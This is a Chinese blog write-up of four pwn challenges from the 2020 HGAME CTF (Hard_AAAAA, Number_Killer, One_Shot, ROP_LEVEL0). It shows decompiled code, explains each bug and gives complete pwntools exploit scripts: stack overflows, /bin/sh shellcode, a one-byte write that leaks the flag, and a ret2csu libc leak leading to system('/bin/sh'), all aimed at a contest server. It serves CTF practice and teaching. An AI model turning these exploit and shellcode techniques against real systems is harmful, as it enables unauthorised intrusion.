avatar

目录
2020HGAME Week1 Pwn WP

2020HGAME Week1 Pwn WP

Hard_AAAAA

分析

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+0h] [ebp-ACh]
char v5; // [esp+7Bh] [ebp-31h]
unsigned int v6; // [esp+A0h] [ebp-Ch]
int *v7; // [esp+A4h] [ebp-8h]

v7 = &argc;
v6 = __readgsdword(0x14u);
setbuf(_bss_start, 0);
memset(&s, 0, 160u);
puts("Let's 0O0o\\0O0!");
gets(&s);
if ( !memcmp(&byte_80486E0, &v5, 7u) )
backdoor();
return 0;
}

要求输出从v5开始与七位字符串比较,字符串为

Code
.rodata:080486E0 byte_80486E0    db 30h                  ; DATA XREF: main+85↑o
.rodata:080486E1 db 4Fh ; O
.rodata:080486E2 db 30h ; 0
.rodata:080486E3 db 6Fh ; o
.rodata:080486E4 db 0
.rodata:080486E5 db 4Fh
.rodata:080486E6 db 30h ; 0

因此直接填充到v5位置然后写入即可

exp

python
from pwn import *

p=remote('47.103.214.163', 20000)
#p=process('./Hard_AAAAA')

p.recvuntil('Let\'s 0O0o')
payload = 'a'*123+'0O0o'+'\x00'+'O0'
p.sendline(payload)

p.interactive()

Number_Killer

分析

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
__int64 v4[11]; // [rsp+0h] [rbp-60h]
int i; // [rsp+5Ch] [rbp-4h]

setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
memset(v4, 0, 0x50uLL);
puts("Let's Pwn me with numbers!");
for ( i = 0; i <= 19; ++i ) //////可写0x13*8
v4[i] = readll();
return 0;
}
c
__int64 readll()
{
char nptr[8]; // [rsp+0h] [rbp-20h]
__int64 v2; // [rsp+8h] [rbp-18h]
int v3; // [rsp+10h] [rbp-10h]
int v4; // [rsp+18h] [rbp-8h]
int i; // [rsp+1Ch] [rbp-4h]

*(_QWORD *)nptr = 0LL;
v2 = 0LL;
v3 = 0;
v4 = 0;
for ( i = 0; read(0, &nptr[i], 1uLL) > 0 && i <= 19 && nptr[i] != 10; ++i )
;
return atoll(nptr); /////////转换为长整数
}

Code
sub     rsp, 60h

因此存在栈溢出

Code
.text:0000000000400761 loc_400761:                             ; CODE XREF: main+8A↓j
.text:0000000000400761 mov eax, 0
.text:0000000000400766 call readll
.text:000000000040076B mov rdx, rax
.text:000000000040076E mov eax, [rbp+var_4]
.text:0000000000400771 cdqe
.text:0000000000400773 mov [rbp+rax*8+var_60], rdx
.text:0000000000400778 add [rbp+var_4], 1
.text:000000000040077C
.text:000000000040077C loc_40077C: ; CODE XREF: main+69↑j
.text:000000000040077C cmp [rbp+var_4], 13h
.text:0000000000400780 jle short loc_400761
.text:0000000000400782 mov eax, 0
.text:0000000000400787 leave
.text:0000000000400788 retn
Code
-0000000000000060 var_60          dq 11 dup(?)            ;输入
-0000000000000008 db ? ; undefined
-0000000000000007 db ? ; undefined
-0000000000000006 db ? ; undefined
-0000000000000005 db ? ; undefined
-0000000000000004 var_4 dd ? ;循环数
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables
Code
.text:0000000000400789 gift            proc near
.text:0000000000400789 ; __unwind {
.text:0000000000400789 push rbp
.text:000000000040078A mov rbp, rsp
.text:000000000040078D jmp rsp
.text:000000000040078D gift endp

栈溢出覆盖后可修改循环数,但如果想修改ret,就必须改为 c00000000 。

ret到gift上后jmp rsp跳转到ret下一地址,在ret后还有6次循环,足够我们shellcode实现ret2shellcode

但shellcode一次只能输入20位数字,因此payload需要截断

但我刚好找到了可以直接手写的shellcode

直接看exp吧

exp

python
from pwn import *
context.log_level = "debug"

#p=process('./Number_Killer')
p=remote('47.103.214.163', 20001)

p.recvuntil('Let\'s Pwn me with numbers!')
for i in range(12):
p.sendline('51539607552') #c 0000 0000
p.sendline('4196237') # gift
#gdb.attach(p,'break *0x400773')
#pause()
'''
.global _start
_start:
# char *const argv[]
xorl %esi, %esi

# 'h' 's' '/' '/' 'n' 'i' 'b' '/'
movq $0x68732f2f6e69622f, %rbx

# for '\x00'
pushq %rsi

pushq %rbx

pushq %rsp
# const char *filename
popq %rdi

# __NR_execve 59
pushq $59
popq %rax

# char *const envp[]
xorl %edx, %edx
syscall
'''
# char *shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
# "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05";

p.sendline('7955998173871797809')
p.sendline('6869206962231521071')
p.sendline('1424770328968042')
p.sendline('0')
p.sendline('0')
p.sendline('0')

p.interactive()

One_Shot

分析

python
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE *v4; // [rsp+8h] [rbp-18h]
int fd[2]; // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
v4 = 0LL;
*(_QWORD *)fd = open("./flag", 0, envp);
setbuf(stdout, 0LL);
read(fd[0], &flag, 0x1EuLL);
puts("Firstly....What's your name?");
__isoc99_scanf("%32s", &name);
puts("The thing that could change the world might be a Byte!");
puts("Take tne only one shot!");
__isoc99_scanf("%d", &v4);
*v4 = 1; ################## 任意写1字节
puts("A success?");
printf("Goodbye,%s", &name);
return 0;
}
Code
mov     edi, offset aD  ; "%d"
mov eax, 0
call ___isoc99_scanf
mov rax, [rbp+var_18]
mov byte ptr [rax], 1 ; 任意写一字节
mov edi, offset aASuccess ; "A success?"
call _puts
mov esi, offset name
mov edi, offset format ; "Goodbye,%s"

查看bss段发现

Code
.bss:00000000006010C0 name            db    ? ;               ; DATA XREF: main+6C↑o
.bss:00000000006010C0 ; main+BB↑o
.bss:00000000006010C1 db ? ;
.bss:00000000006010C2 db ? ;
...
.bss:00000000006010DE db ? ;
.bss:00000000006010DF db ? ;
.bss:00000000006010E0 public flag
.bss:00000000006010E0 flag db ? ; ; DATA XREF: main+56↑o
.bss:00000000006010E1 db ? ;
.bss:00000000006010E2 db ? ;
...

因此如果将name的\n写为1就可以在后面printf时直接把flag泄露出来。

exp

python
from pwn import *
context.log_level = "debug"

#p=process('./One_Shot')
p=remote('47.103.214.163', 20002)

payload = 'a'*32
add=6295776
p.recvuntil('Firstly....What\'s your name?')
p.sendline(payload)
p.recvuntil('Take tne only one shot!')
p.sendline(str(add))

p.interactive()

ROP_LEVEL0

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [rsp+0h] [rbp-50h]
int v6; // [rsp+38h] [rbp-18h]
int fd[2]; // [rsp+48h] [rbp-8h]

memset(&buf, 0, 0x38uLL);
v6 = 0;
setbuf(_bss_start, 0LL);
v3 = open("./some_life_experience", 0);
*(_QWORD *)fd = v3;
read(v3, &buf, 0x3CuLL);
puts(&buf);
read(0, &buf, 0x100uLL);
return 0;
}

buf只有0x50,因此栈溢出,但开了NX,不能直接ret2shellcode

查看其他函数,发现 _libc_csu_init 因此尝试利用ret2csu https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/

直接套模板就好

exp

python
#!/usr/bin/python
from pwn import *
from LibcSearcher import *
sh = remote('47.103.214.163',20003)
# context.log_level = 'debug'

elf = ELF('./ROP_LEVEL0')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
puts_got = elf.got['puts']
info("puts_got = 0x%x",puts_got)
pading='A'*0x58
vul_addr = 0x400636
sh.recvuntil('./flag')
sh.sendline(pading+p64(vul_addr))

csu_front_addr=0x400730
csu_end_addr = 0x40074A
pop_rdi_ret=0x400753

def csu(rbx, rbp, r12, r13, r14, r15, last):
payload = 'B'*24
payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
payload += p64(csu_front_addr)
payload += p64(last)*8
sh.sendline(payload)

#0x0000000000400753 : pop rdi ; ret
#0x0000000000400751 : pop rsi ; pop r15 ; ret
csu(0, 1, puts_got, puts_got, puts_got, puts_got, vul_addr)
sh.recvline()
puts_addr = u64(str(sh.recv(6)+'\x00\x00'))
info("leak puts_addr = 0x%x",puts_addr)

obj = LibcSearcher('puts',puts_addr)
puts_offset= obj.dump('puts')
system_offset= obj.dump('system')
real_addres = puts_addr-puts_offset
info("leak libc_addr = 0x%x",real_addres)

binsh_offset = obj.dump('str_bin_sh')
system = real_addres+system_offset
binsh=real_addres+binsh_offset
info('leak system_addr = 0x%x',libc.sym['system'])
info('leak bin_sh_addr = 0x%x',libc.search('/bin/sh').next())

payload2 = 'A'*24 + p64(pop_rdi_ret) +p64(binsh) + p64(system)
sh.sendline(payload2)

sh.interactive()
文章作者: kabeor
文章链接: https://kabeor.github.io/2020HGAME%20Week1%20Pwn%20WP/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 K's House

评论